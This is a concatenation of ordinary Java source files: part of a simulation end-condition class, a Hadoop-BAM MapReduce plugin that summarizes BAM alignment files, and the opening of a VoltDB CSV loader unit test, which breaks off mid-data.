private static int TIME_CONDITION = 0;
/**
* Index of the absence of agents condition.
*/
private static int NO_AGENTS_CONDITION = 1;
/**
* Index of the population limits condition.
*/
private static int POPULATION_CONDITIONS = 2;
/**
* Stores the various kinds of conditions.
*/
private EndCondition[] conditions;
/**
* Constructor.
*/
public SimulationEnder() {
conditions = new EndCondition[3];
TimeCondition timer = new TimeCondition(0);
NoAgentsCondition counter = new NoAgentsCondition();
conditions[TIME_CONDITION] = timer;
conditions[NO_AGENTS_CONDITION] = counter;
conditions[POPULATION_CONDITIONS] = new AgentPopulationCondition();
}
/**
* Set the time limit for the simulation.
*
* @param maxSteps
* Number of total iterations to be run until completion.
*/
public void setStepLimit(int maxSteps) {
((TimeCondition) conditions[TIME_CONDITION]).maxSteps = maxSteps;
}
/**
* Get the time limit.
*
* @return The total amount of iterations the simulation is to run.
*/
public int getStepLimit() {
return ((TimeCondition) conditions[TIME_CONDITION]).maxSteps;
}
/**
* Determine whether the simulation should end.
*
* @return true if the simulation should end, false otherwise.
*/
public boolean evaluate(Grid grid) {
for (EndCondition condition : conditions)
if (condition.evaluate(grid.getStep(), grid))
return true;
return false;
}
/**
* Get the current population limits.
*
* @return An immutable map containing the present population restrictions.
*/
public ImmutableMap<String, Integer> getPopLimits() {
return ((AgentPopulationCondition) conditions[POPULATION_CONDITIONS])
.getPopLimits();
}
/**
* Set a population limit.
*
* @param prototypeName
* Name of relevant prototype.
* @param maxPop
* Maximum population for that category of agent.
*/
public void setPopLimit(String name, int maxPop) {
((AgentPopulationCondition) conditions[POPULATION_CONDITIONS])
.setPopLimit(name, maxPop);
}
/**
* Remove a set population limit.
*
* @param prototypeName
* The name of the prototype whose limit is to be removed.
*/
public void removePopLimit(String name) {
((AgentPopulationCondition) conditions[POPULATION_CONDITIONS])
.removePopLimit(name);
}
/**
* Determines if the simulation has run out of time.
*
* @author daniel.gill
*/
private final class TimeCondition implements EndCondition {
/**
* The total number of steps the Simulation is permitted to run.
*/
private int maxSteps;
/**
* @param maxSteps
* The total number of steps the Simulation is permitted to
* run.
*/
public TimeCondition(int maxSteps) {
this.maxSteps = maxSteps;
}
@Override
public boolean evaluate(int step, Grid grid) {
return step >= maxSteps;
}
}
/**
* Determines if there are no more agents in the simulation.
*
* @author daniel.gill
*/
private final class NoAgentsCondition implements EndCondition {
@Override
public boolean evaluate(int step, Grid grid) {
for (Agent a : grid) {
if (a != null)
return false;
}
return true;
}
}
/**
* Determines if the population of the given type has exceeded the given
* max.
*
* @author daniel.gill
*/
private final class AgentPopulationCondition implements EndCondition {
/**
* The map where the names of prototypes are associated with population
* limits.
*/
private HashMap<String, Integer> popLimits;
/**
* Constructor.
*/
public AgentPopulationCondition() {
popLimits = new HashMap<String, Integer>();
}
/**
* Add a new population limit to the simulation.
*
* @param name
* The name of the prototype of agent.
* @param maxPop
* The population that category must not exceed.
*/
public void setPopLimit(String name, int maxPop) {
popLimits.put(name, Integer.valueOf(maxPop));
}
/**
* Remove a population limit from the simulation.
*
* @param prototypeName
* The name of the prototype whose limit is to be removed.
*/
public void removePopLimit(String name) {
popLimits.remove(name);
}
/**
* @return An immutable map of all the current
*/
public ImmutableMap<String, Integer> getPopLimits() {
return new ImmutableMap.Builder<String, Integer>().putAll(popLimits).build();
}
@Override
public boolean evaluate(int step, Grid grid) {
for (String name : popLimits.keySet())
if (Prototype.getPrototype(name).childPopulation() >= popLimits
.get(name))
return true;
return false;
}
}
/**
* Take the end conditions and serialize them
*
* @return A string containing the serialized end conditions
*/
public String serialize(){
String ret = "EndConditions";
ret += "\n" + Integer.toString(((TimeCondition) conditions[TIME_CONDITION]).maxSteps);
ImmutableMap<String, Integer> populationLimits =
((AgentPopulationCondition) conditions[POPULATION_CONDITIONS]).getPopLimits();
for (Entry<String, Integer> entry : populationLimits.entrySet())
ret += "\nPOP~" + entry.getKey() + "~" + entry.getValue();
return ret;
}
}
|
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// all copies or substantial portions of the Software.
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package fi.tkk.ics.hadoop.bam.cli.plugins.chipster;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.List;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.filecache.DistributedCache;
import org.apache.hadoop.fs.FileStatus;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.BooleanWritable;
import org.apache.hadoop.io.IntWritable;
import org.apache.hadoop.io.IOUtils;
import org.apache.hadoop.io.LongWritable;
import org.apache.hadoop.io.NullWritable;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.io.Writable;
import org.apache.hadoop.mapred.FileAlreadyExistsException;
import org.apache.hadoop.mapred.JobClient;
import org.apache.hadoop.mapred.JobConf;
import org.apache.hadoop.mapreduce.InputSplit;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.JobContext;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.RecordReader;
import org.apache.hadoop.mapreduce.RecordWriter;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.mapreduce.TaskAttemptContext;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;
import fi.tkk.ics.hadoop.bam.cli.plugins.chipster.hadooptrunk.MultipleOutputs;
import net.sf.samtools.Cigar;
import net.sf.samtools.CigarElement;
import net.sf.samtools.CigarOperator;
import net.sf.samtools.util.BlockCompressedStreamConstants;
import fi.tkk.ics.hadoop.bam.custom.hadoop.InputSampler;
import fi.tkk.ics.hadoop.bam.custom.hadoop.TotalOrderPartitioner;
import fi.tkk.ics.hadoop.bam.custom.jargs.gnu.CmdLineParser;
import fi.tkk.ics.hadoop.bam.custom.samtools.BlockCompressedOutputStream;
import fi.tkk.ics.hadoop.bam.custom.samtools.SAMRecord;
import static fi.tkk.ics.hadoop.bam.custom.jargs.gnu.CmdLineParser.Option.*;
import fi.tkk.ics.hadoop.bam.BAMInputFormat;
import fi.tkk.ics.hadoop.bam.BAMRecordReader;
import fi.tkk.ics.hadoop.bam.cli.CLIPlugin;
import fi.tkk.ics.hadoop.bam.cli.Utils;
import fi.tkk.ics.hadoop.bam.util.Pair;
import fi.tkk.ics.hadoop.bam.util.Timer;
public final class Summarize extends CLIPlugin {
private static final List<Pair<CmdLineParser.Option, String>> optionDescs
= new ArrayList<Pair<CmdLineParser.Option, String>>();
private static final CmdLineParser.Option
verboseOpt = new BooleanOption('v', "verbose"),
sortOpt = new BooleanOption('s', "sort"),
outputDirOpt = new StringOption('o', "output-dir=PATH");
public Summarize() {
super("summarize", "summarize BAM for zooming", "1.0",
"WORKDIR LEVELS INPATH", optionDescs,
"Outputs, for each level in LEVELS, a summary file describing the "+
"average number of alignments at various positions in the BAM file "+
"in INPATH. The summary files are placed in parts in WORKDIR."+
"\n\n"+
"LEVELS should be a comma-separated list of positive integers. "+
"Each level is the number of alignments that are summarized into "+
"one group.");
}
static {
optionDescs.add(new Pair<CmdLineParser.Option, String>(
verboseOpt, "tell Hadoop jobs to be more verbose"));
optionDescs.add(new Pair<CmdLineParser.Option, String>(
outputDirOpt, "output complete summary files to the file PATH, "+
"removing the parts from WORKDIR"));
optionDescs.add(new Pair<CmdLineParser.Option, String>(
sortOpt, "sort created summaries by position"));
}
private final Timer t = new Timer();
private String[] levels;
private Path wrkDir, mainSortOutputDir;
private boolean verbose;
private boolean sorted = false;
private int missingArg(String s) {
System.err.printf("summarize :: %s not given.\n", s);
return 3;
}
@Override protected int run(CmdLineParser parser) {
final List<String> args = parser.getRemainingArgs();
switch (args.size()) {
case 0: return missingArg("WORKDIR");
case 1: return missingArg("LEVELS");
case 2: return missingArg("INPATH");
default: break;
}
wrkDir = new Path(args.get(0));
final String outS = (String)parser.getOptionValue(outputDirOpt);
final Path bam = new Path(args.get(2)),
out = outS == null ? null : new Path(outS);
final boolean sort = parser.getBoolean(sortOpt);
verbose = parser.getBoolean(verboseOpt);
levels = args.get(1).split(",");
for (String l : levels) {
try {
int lvl = Integer.parseInt(l);
if (lvl > 0)
continue;
System.err.printf(
"summarize :: summary level '%d' is not positive!\n", lvl);
} catch (NumberFormatException e) {
System.err.printf(
"summarize :: summary level '%s' is not an integer!\n", l);
}
return 3;
}
// There's a lot of different Paths here, and it can get a bit confusing.
// Here's how it works:
// - out is the output dir for the final merged output, given with the -o
// or -O parameters.
// - wrkDir is the user-given path where the outputs of the reducers go.
// - mergedTmpDir (defined further below) is $wrkDir/sort.tmp: if we are
// sorting, the summaries output in the first Hadoop job are merged in
// there.
// - mainSortOutputDir is $wrkDir/sorted.tmp: getSortOutputDir() gives a
// per-level/strand directory under it, which is used by sortMerged()
// and mergeOne(). This is necessary because we cannot have multiple
// Hadoop jobs outputting into the same directory at the same time, as
// explained in the comment in sortMerged().
mainSortOutputDir = sort ? new Path(wrkDir, "sorted.tmp") : null;
final Configuration conf = getConf();
// Used by SummarizeOutputFormat to name the output files.
conf.set(SummarizeOutputFormat.OUTPUT_NAME_PROP, bam.getName());
conf.setStrings(SummarizeReducer.SUMMARY_LEVELS_PROP, levels);
try {
try {
// As far as I can tell there's no non-deprecated way of getting
// this info. We can silence this warning but not the import.
@SuppressWarnings("deprecation")
final int maxReduceTasks =
new JobClient(new JobConf(conf)).getClusterStatus()
.getMaxReduceTasks();
conf.setInt("mapred.reduce.tasks",
Math.max(1, maxReduceTasks*9/10));
if (!runSummary(bam))
return 4;
} catch (IOException e) {
System.err.printf("summarize :: Summarizing failed: %s\n", e);
return 4;
}
Path mergedTmpDir = null;
try {
if (sort) {
mergedTmpDir = new Path(wrkDir, "sort.tmp");
mergeOutputs(mergedTmpDir);
} else if (out != null)
mergeOutputs(out);
} catch (IOException e) {
System.err.printf("summarize :: Merging failed: %s\n", e);
return 5;
}
if (sort) {
if (!doSorting(mergedTmpDir))
return 6;
tryDelete(mergedTmpDir);
if (out != null) try {
sorted = true;
mergeOutputs(out);
} catch (IOException e) {
System.err.printf(
"summarize :: Merging sorted output failed: %s\n", e);
return 7;
} else {
// Move the unmerged results out of the mainSortOutputDir
// subdirectories to wrkDir.
System.out.println(
"summarize :: Moving outputs from temporary directories...");
t.start();
try {
final FileSystem fs = wrkDir.getFileSystem(conf);
for (String lvl : levels) {
final FileStatus[] parts;
try {
parts = fs.globStatus(new Path(
new Path(mainSortOutputDir, lvl + "[fr]"),
"*-[0-9][0-9][0-9][0-9][0-9][0-9]"));
} catch (IOException e) {
System.err.printf(
"summarize :: Couldn't move level %s results: %s",
lvl, e);
continue;
}
for (FileStatus part : parts) {
final Path path = part.getPath();
try {
fs.rename(path, new Path(wrkDir, path.getName()));
} catch (IOException e) {
System.err.printf(
"summarize :: Couldn't move '%s': %s", path, e);
}
}
}
} catch (IOException e) {
System.err.printf(
"summarize :: Moving results failed: %s", e);
}
System.out.printf("summarize :: Moved in %d.%03d s.\n",
t.stopS(), t.fms());
}
tryDelete(mainSortOutputDir);
}
} catch (ClassNotFoundException e) { throw new RuntimeException(e); }
catch (InterruptedException e) { throw new RuntimeException(e); }
return 0;
}
private boolean runSummary(Path bamPath)
throws IOException, ClassNotFoundException, InterruptedException
{
final Configuration conf = getConf();
Utils.setSamplingConf(bamPath, conf);
final Job job = new Job(conf);
job.setJarByClass (Summarize.class);
job.setMapperClass (Mapper.class);
job.setReducerClass(SummarizeReducer.class);
job.setMapOutputKeyClass (LongWritable.class);
job.setMapOutputValueClass(Range.class);
job.setOutputKeyClass (NullWritable.class);
job.setOutputValueClass (RangeCount.class);
job.setInputFormatClass (SummarizeInputFormat.class);
job.setOutputFormatClass(SummarizeOutputFormat.class);
FileInputFormat .setInputPaths(job, bamPath);
FileOutputFormat.setOutputPath(job, wrkDir);
job.setPartitionerClass(TotalOrderPartitioner.class);
System.out.println("summarize :: Sampling...");
t.start();
InputSampler.<LongWritable,Range>writePartitionFile(
job, new InputSampler.SplitSampler<LongWritable,Range>(1 << 16, 10));
System.out.printf("summarize :: Sampling complete in %d.%03d s.\n",
t.stopS(), t.fms());
for (String lvl : levels) {
MultipleOutputs.addNamedOutput(
job, getOutputName(lvl, false), SummarizeOutputFormat.class,
NullWritable.class, Range.class);
MultipleOutputs.addNamedOutput(
job, getOutputName(lvl, true), SummarizeOutputFormat.class,
NullWritable.class, Range.class);
}
job.submit();
System.out.println("summarize :: Waiting for job completion...");
t.start();
if (!job.waitForCompletion(verbose)) {
System.err.println("summarize :: Job failed.");
return false;
}
System.out.printf("summarize :: Job complete in %d.%03d s.\n",
t.stopS(), t.fms());
return true;
}
private void mergeOutputs(Path outPath)
throws IOException
{
System.out.println("summarize :: Merging output...");
t.start();
final Configuration conf = getConf();
final FileSystem srcFS = wrkDir.getFileSystem(conf);
final FileSystem dstFS = outPath.getFileSystem(conf);
final Timer tl = new Timer();
for (String l : levels) {
mergeOne(l, 'f', getSummaryName(l, false), outPath, srcFS, dstFS, tl);
mergeOne(l, 'r', getSummaryName(l, true), outPath, srcFS, dstFS, tl);
}
System.out.printf("summarize :: Merging complete in %d.%03d s.\n",
t.stopS(), t.fms());
}
private void mergeOne(
String level, char strand,
String filename, Path outPath,
FileSystem srcFS, FileSystem dstFS, Timer to)
throws IOException
{
to.start();
final OutputStream outs = dstFS.create(new Path(outPath, filename));
final FileStatus[] parts = srcFS.globStatus(new Path(
sorted ? getSortOutputDir(level, strand) : wrkDir,
filename + "-[0-9][0-9][0-9][0-9][0-9][0-9]"));
for (final FileStatus part : parts) {
final InputStream ins = srcFS.open(part.getPath());
IOUtils.copyBytes(ins, outs, getConf(), false);
ins.close();
}
for (final FileStatus part : parts)
srcFS.delete(part.getPath(), false);
// Don't forget the BGZF terminator.
outs.write(BlockCompressedStreamConstants.EMPTY_GZIP_BLOCK);
outs.close();
System.out.printf("summarize :: Merged %s%c in %d.%03d s.\n",
level, strand, to.stopS(), to.fms());
}
private boolean doSorting(Path inputDir)
throws ClassNotFoundException, InterruptedException
{
final Configuration conf = getConf();
final Job[] jobs = new Job[2*levels.length];
boolean errors = false;
for (int i = 0; i < levels.length; ++i) {
final String lvl = levels[i];
try {
// Each job has to run in a separate directory because
// FileOutputCommitter deletes the _temporary within whenever a job
// completes - that is, not only the subdirectories in _temporary
// that are specific to that job, but all of _temporary.
// It's easier to just give different temporary output directories
// here than to override that behaviour.
jobs[2*i] = SummarySort.sortOne(
conf,
new Path(inputDir, getSummaryName(lvl, false)),
getSortOutputDir(lvl, 'f'),
"summarize", " for sorting " + lvl + 'f');
jobs[2*i + 1] = SummarySort.sortOne(
conf,
new Path(inputDir, getSummaryName(lvl, true)),
getSortOutputDir(lvl, 'r'),
"summarize", " for sorting " + lvl + 'r');
} catch (IOException e) {
System.err.printf(
"summarize :: Submitting sorting job %s failed: %s\n", lvl, e);
if (i == 0)
return false;
else
errors = true;
}
}
System.out.println(
"summarize :: Waiting for sorting jobs' completion...");
t.start();
for (int i = 0; i < jobs.length; ++i) {
boolean success;
try { success = jobs[i].waitForCompletion(verbose); }
catch (IOException e) { success = false; }
final String l = levels[i/2];
final char s = i%2 == 0 ? 'f' : 'r';
if (!success) {
System.err.printf(
"summarize :: Sorting job for %s%c failed.\n", l, s);
errors = true;
continue;
}
System.out.printf(
"summarize :: Sorting job for %s%c complete.\n", l, s);
}
if (errors)
return false;
System.out.printf("summarize :: Jobs complete in %d.%03d s.\n",
t.stopS(), t.fms());
return true;
}
private String getSummaryName(String lvl, boolean reverseStrand) {
return getConf().get(SummarizeOutputFormat.OUTPUT_NAME_PROP)
+ "-" + getOutputName(lvl, reverseStrand);
}
/*package*/ static String getOutputName(String lvl, boolean reverseStrand) {
return "summary" + lvl + (reverseStrand ? 'r' : 'f');
}
private Path getSortOutputDir(String level, char strand) {
return new Path(mainSortOutputDir, level + strand);
}
private void tryDelete(Path path) {
try {
path.getFileSystem(getConf()).delete(path, true);
} catch (IOException e) {
System.err.printf(
"summarize :: Warning: couldn't delete '%s': %s\n", path, e);
}
}
}
final class SummarizeReducer
extends Reducer<LongWritable,Range, NullWritable,RangeCount>
{
public static final String SUMMARY_LEVELS_PROP = "summarize.summary.levels";
private MultipleOutputs<NullWritable,RangeCount> mos;
// For the reverse and forward strands, respectively.
private final List<SummaryGroup>
summaryGroupsR = new ArrayList<SummaryGroup>(),
summaryGroupsF = new ArrayList<SummaryGroup>();
private final RangeCount summary = new RangeCount();
// This is a safe initial choice: it doesn't matter whether the first actual
// reference ID we get matches this or not, since all summaryLists are empty
// anyway.
private int currentReferenceID = 0;
@Override public void setup(
Reducer<LongWritable,Range, NullWritable,RangeCount>.Context ctx)
{
mos = new MultipleOutputs<NullWritable,RangeCount>(ctx);
for (String s : ctx.getConfiguration().getStrings(SUMMARY_LEVELS_PROP)) {
int lvl = Integer.parseInt(s);
summaryGroupsR.add(
new SummaryGroup(lvl, Summarize.getOutputName(s, false)));
summaryGroupsF.add(
new SummaryGroup(lvl, Summarize.getOutputName(s, true)));
}
}
@Override protected void reduce(
LongWritable key, Iterable<Range> ranges,
Reducer<LongWritable,Range, NullWritable,RangeCount>.Context context)
throws IOException, InterruptedException
{
final int referenceID = (int)(key.get() >>> 32);
// When the reference sequence changes we have to flush out everything
// we've got and start from scratch again.
if (referenceID != currentReferenceID) {
currentReferenceID = referenceID;
doAllSummaries();
}
for (final Range range : ranges) {
final int beg = range.beg.get(),
end = range.end.get();
final List<SummaryGroup> summaryGroups =
range.reverseStrand.get() ? summaryGroupsR : summaryGroupsF;
for (SummaryGroup group : summaryGroups) {
group.sumBeg += beg;
group.sumEnd += end;
if (++group.count == group.level)
doSummary(group);
}
}
}
@Override protected void cleanup(
Reducer<LongWritable,Range, NullWritable,RangeCount>.Context context)
throws IOException, InterruptedException
{
// Don't lose any remaining ones at the end.
doAllSummaries();
mos.close();
}
private void doAllSummaries() throws IOException, InterruptedException {
for (SummaryGroup group : summaryGroupsR)
if (group.count > 0)
doSummary(group);
for (SummaryGroup group : summaryGroupsF)
if (group.count > 0)
doSummary(group);
}
private void doSummary(SummaryGroup group)
throws IOException, InterruptedException
{
// The reverseStrand flag is already represented in which group is passed
// to this method, so there's no need to set it in summary.range.
summary.rid. set(currentReferenceID);
summary.range.beg.set((int)(group.sumBeg / group.count));
summary.range.end.set((int)(group.sumEnd / group.count));
summary.count. set(group.count);
mos.write(NullWritable.get(), summary, group.outName);
group.reset();
}
}
final class Range implements Writable {
public final IntWritable beg = new IntWritable();
public final IntWritable end = new IntWritable();
public final BooleanWritable reverseStrand = new BooleanWritable();
public Range() {}
public Range(int b, int e, boolean rev) {
beg. set(b);
end. set(e);
reverseStrand.set(rev);
}
public int getCentreOfMass() {
return (int)(((long)beg.get() + end.get()) / 2);
}
@Override public void write(DataOutput out) throws IOException {
beg. write(out);
end. write(out);
reverseStrand.write(out);
}
@Override public void readFields(DataInput in) throws IOException {
beg. readFields(in);
end. readFields(in);
reverseStrand.readFields(in);
}
}
final class RangeCount implements Comparable<RangeCount>, Writable {
public final Range range = new Range();
public final IntWritable count = new IntWritable();
public final IntWritable rid = new IntWritable();
// This is what the TextOutputFormat will write. The format is
// It might not be sorted by range.beg though! With the centre of mass
// approach, it most likely won't be.
@Override public String toString() {
return rid
+ "\t" + range.beg
+ "\t" + range.end
+ "\t" + count;
}
// Comparisons only take into account the leftmost position.
@Override public int compareTo(RangeCount o) {
return Integer.valueOf(range.beg.get()).compareTo(o.range.beg.get());
}
@Override public void write(DataOutput out) throws IOException {
range.write(out);
count.write(out);
rid .write(out);
}
@Override public void readFields(DataInput in) throws IOException {
range.readFields(in);
count.readFields(in);
rid .readFields(in);
}
}
// We want the centre of mass to be used as (the low order bits of) the key
// already at this point, because we want a total order so that we can
// meaningfully look at consecutive ranges in the reducers. If we were to set
// the final key in the mapper, the partitioner wouldn't use it.
// And since getting the centre of mass requires calculating the Range as well,
// we might as well get that here as well.
final class SummarizeInputFormat extends FileInputFormat<LongWritable,Range> {
private final BAMInputFormat bamIF = new BAMInputFormat();
@Override protected boolean isSplitable(JobContext job, Path path) {
return bamIF.isSplitable(job, path);
}
@Override public List<InputSplit> getSplits(JobContext job)
throws IOException
{
return bamIF.getSplits(job);
}
@Override public RecordReader<LongWritable,Range>
createRecordReader(InputSplit split, TaskAttemptContext ctx)
throws InterruptedException, IOException
{
final RecordReader<LongWritable,Range> rr = new SummarizeRecordReader();
rr.initialize(split, ctx);
return rr;
}
}
final class SummarizeRecordReader extends RecordReader<LongWritable,Range> {
private final BAMRecordReader bamRR = new BAMRecordReader();
private final LongWritable key = new LongWritable();
private final List<Range> ranges = new ArrayList<Range>();
private int rangeIdx = 0;
@Override public void initialize(InputSplit spl, TaskAttemptContext ctx)
throws IOException
{
bamRR.initialize(spl, ctx);
}
@Override public void close() throws IOException { bamRR.close(); }
@Override public float getProgress() { return bamRR.getProgress(); }
@Override public LongWritable getCurrentKey () { return key; }
@Override public Range getCurrentValue() {
return ranges.get(rangeIdx);
}
@Override public boolean nextKeyValue() {
if (rangeIdx+1 < ranges.size()) {
++rangeIdx;
key.set(key.get() >>> 32 << 32 | getCurrentValue().getCentreOfMass());
return true;
}
SAMRecord rec;
do {
if (!bamRR.nextKeyValue())
return false;
rec = bamRR.getCurrentValue().get();
} while (rec.getReadUnmappedFlag());
parseCIGAR(rec, rec.getReadNegativeStrandFlag());
rangeIdx = 0;
key.set((long)rec.getReferenceIndex() << 32 |
getCurrentValue().getCentreOfMass());
return true;
}
void parseCIGAR(SAMRecord rec, boolean reverseStrand) {
ranges.clear();
final Cigar cigar = rec.getCigar();
int begPos = rec.getAlignmentStart();
int endPos = begPos;
for (int i = 0; i < rec.getCigarLength(); ++i) {
final CigarElement element = cigar.getCigarElement(i);
final CigarOperator op = element.getOperator();
switch (op) {
case M:
case EQ:
case X:
// Accumulate this part into the current range.
endPos += element.getLength();
continue;
default: break;
}
if (begPos != endPos) {
// No more consecutive fully contained parts: save the range and
// move along.
ranges.add(new Range(begPos, endPos-1, reverseStrand));
begPos = endPos;
}
if (op.consumesReferenceBases()) {
begPos += element.getLength();
endPos = begPos;
}
}
if (begPos != endPos)
ranges.add(new Range(begPos, endPos-1, reverseStrand));
}
}
final class SummarizeOutputFormat
extends TextOutputFormat<NullWritable,RangeCount>
{
public static final String OUTPUT_NAME_PROP =
"hadoopbam.summarize.output.name";
@Override public RecordWriter<NullWritable,RangeCount> getRecordWriter(
TaskAttemptContext ctx)
throws IOException
{
Path path = getDefaultWorkFile(ctx, "");
FileSystem fs = path.getFileSystem(ctx.getConfiguration());
return new TextOutputFormat.LineRecordWriter<NullWritable,RangeCount>(
new DataOutputStream(
new BlockCompressedOutputStream(fs.create(path))));
}
@Override public Path getDefaultWorkFile(
TaskAttemptContext context, String ext)
throws IOException
{
Configuration conf = context.getConfiguration();
// From MultipleOutputs. If we had a later version of FileOutputFormat as
// well, we'd use super.getOutputName().
String summaryName = conf.get("mapreduce.output.basename");
// A RecordWriter is created as soon as a reduce task is started, even
// though MultipleOutputs eventually overrides it with its own.
// To avoid creating a file called "inputfilename-null" when that
// RecordWriter is initialized, make it a hidden file instead, like this.
// We can't use a filename we'd use later, because TextOutputFormat would
// throw later on, as the file would already exist.
String baseName = summaryName == null ? ".unused_" : "";
baseName += conf.get(OUTPUT_NAME_PROP);
String extension = ext.isEmpty() ? ext : "." + ext;
int part = context.getTaskAttemptID().getTaskID().getId();
return new Path(super.getDefaultWorkFile(context, ext).getParent(),
baseName + "-"
+ summaryName + "-"
+ String.format("%06d", part)
+ extension);
}
// Allow the output directory to exist.
@Override public void checkOutputSpecs(JobContext job)
throws FileAlreadyExistsException, IOException
{}
}
final class SummaryGroup {
public int count;
public final int level;
public long sumBeg, sumEnd;
public final String outName;
public SummaryGroup(int lvl, String name) {
level = lvl;
outName = name;
reset();
}
public void reset() {
sumBeg = sumEnd = 0;
count = 0;
}
}
|
package org.voltdb.utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import junit.framework.TestCase;
import org.voltcore.logging.VoltLogger;
import org.voltdb.ServerThread;
import org.voltdb.VoltDB;
import org.voltdb.VoltDB.Configuration;
import org.voltdb.VoltTable;
import org.voltdb.client.Client;
import org.voltdb.client.ClientFactory;
import org.voltdb.compiler.VoltProjectBuilder;
import org.voltdb.types.TimestampType;
public class TestCSVLoader extends TestCase {
private String pathToCatalog;
private String pathToDeployment;
private ServerThread localServer;
private VoltDB.Configuration config;
private VoltProjectBuilder builder;
private Client client;
protected static final VoltLogger m_log = new VoltLogger("CONSOLE");
private String userName = System.getProperty("user.name");
private String reportDir = String.format("/tmp/%s_csv", userName);
private String path_csv = String.format("%s/%s", reportDir, "test.csv");
private String dbName = String.format("mydb_%s", userName);
public void prepare() {
if (!reportDir.endsWith("/"))
reportDir += "/";
File dir = new File(reportDir);
try {
if (!dir.exists()) {
dir.mkdirs();
}
} catch (Exception x) {
m_log.error(x.getMessage(), x);
System.exit(-1);
}
}
@Override
protected void setUp() throws Exception
{
super.setUp();
}
public void testSnapshotAndLoad () throws Exception {
String my_schema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(10) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null"+
//"clm_varinary varbinary default null," +
//"clm_timestamp timestamp default null " +
");";
try{
pathToCatalog = Configuration.getPathToCatalogForTest("csv.jar");
pathToDeployment = Configuration.getPathToCatalogForTest("csv.xml");
builder = new VoltProjectBuilder();
builder.addLiteralSchema(my_schema);
builder.addPartitionInfo("BLAH", "clm_integer");
//builder.addStmtProcedure("Insert", "INSERT into BLAH values (?, ?, ?, ?, ?, ?, ?);");
boolean success = builder.compile(pathToCatalog, 2, 1, 0);
assertTrue(success);
MiscUtils.copyFile(builder.getPathToDeployment(), pathToDeployment);
config = new VoltDB.Configuration();
config.m_pathToCatalog = pathToCatalog;
config.m_pathToDeployment = pathToDeployment;
localServer = new ServerThread(config);
client = null;
localServer.start();
localServer.waitForInitialization();
client = ClientFactory.createClient();
client.createConnection("localhost");
int expectedLineCnt = 5;
client.callProcedure("@AdHoc", "INSERT INTO BLAH VALUES (1,1,1,11111111,'first',1.10,1.11);" );
client.callProcedure("@AdHoc", "INSERT INTO BLAH VALUES (2,2,2,222222,'second',2.20,2.22);" );
client.callProcedure("@AdHoc", "INSERT INTO BLAH VALUES (3,3,3,333333, 'third' ,3.33, 3.33);" );
client.callProcedure("@AdHoc", "INSERT INTO BLAH VALUES (4,4,4,444444, 'fourth' ,4.40 ,4.44);" );
client.callProcedure("@AdHoc", "INSERT INTO BLAH VALUES (5,5,5,5555555, 'fifth', 5.50, 5.55);" );
client.callProcedure("@SnapshotSave", String.format("{uripath:\"file:///tmp\",nonce:\"%s\",block:true,format:\"csv\"}", dbName) );
//clear the table then try to load the csv file
client.callProcedure("@AdHoc", "DELETE FROM BLAH;");
String []my_options = {
"-f" + "/tmp/" + dbName + "-BLAH-host_0.csv",
//"--procedure=BLAH.insert",
//"--reportdir=" + reportdir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=0",
//"--strictquotes",
"BLAH"
};
prepare();
CSVLoader.main( my_options );
File file = new File( String.format("/tmp/%s-BLAH-host_0.csv", dbName) );
file.delete();
// do the test
VoltTable modCount;
modCount = client.callProcedure("@AdHoc", "SELECT * FROM BLAH;").getResults()[0];
System.out.println("data inserted to table BLAH:\n" + modCount);
int rowct = modCount.getRowCount();
assertEquals(expectedLineCnt, rowct);
//assertEquals(0, invalidlinecnt);
}
finally {
if (client != null) client.close();
client = null;
if (localServer != null) {
localServer.shutdown();
localServer.join();
}
localServer = null;
// no clue how helpful this is
System.gc();
}
}
public void testCommon() throws Exception
{
String mySchema =
"create table BLAH (" +
"clm_integer integer default 0 not null, " + // column that is partitioned on
"clm_tinyint tinyint default 0, " +
"clm_smallint smallint default 0, " +
"clm_bigint bigint default 0, " +
"clm_string varchar(20) default null, " +
"clm_decimal decimal default null, " +
"clm_float float default null, "+
//"clm_varinary varbinary default null," +
"clm_timestamp timestamp default null " +
"); ";
String []myOptions = {
"-f" + path_csv,
//"--procedure=blah.insert",
"--reportdir=" + reportDir,
//"--table=BLAH",
"--maxerrors=50",
//"-user",
"--user=",
"--password=",
"--port=",
"--separator=,",
"--quotechar=\"",
"--escape=\\",
"--skip=1",
//"--strictquotes",
"BlAh"
};
String currentTime = new TimestampType().toString();
String []myData = { "1,1,1,11111111,first,1.10,1.11,"+currentTime,
"2,2,2,222222,second,3.30,NULL,"+currentTime,
"3,3,3,333333, third ,NULL, 3.33,"+currentTime,
"4,4,4,444444, NULL ,4.40 ,4.44,"+currentTime,
"5,5,5,5555555, \"abcde\"g, 5.50, 5.55,"+currentTime,
"6,6,NULL,666666, sixth, 6.60, 6.66,"+currentTime,
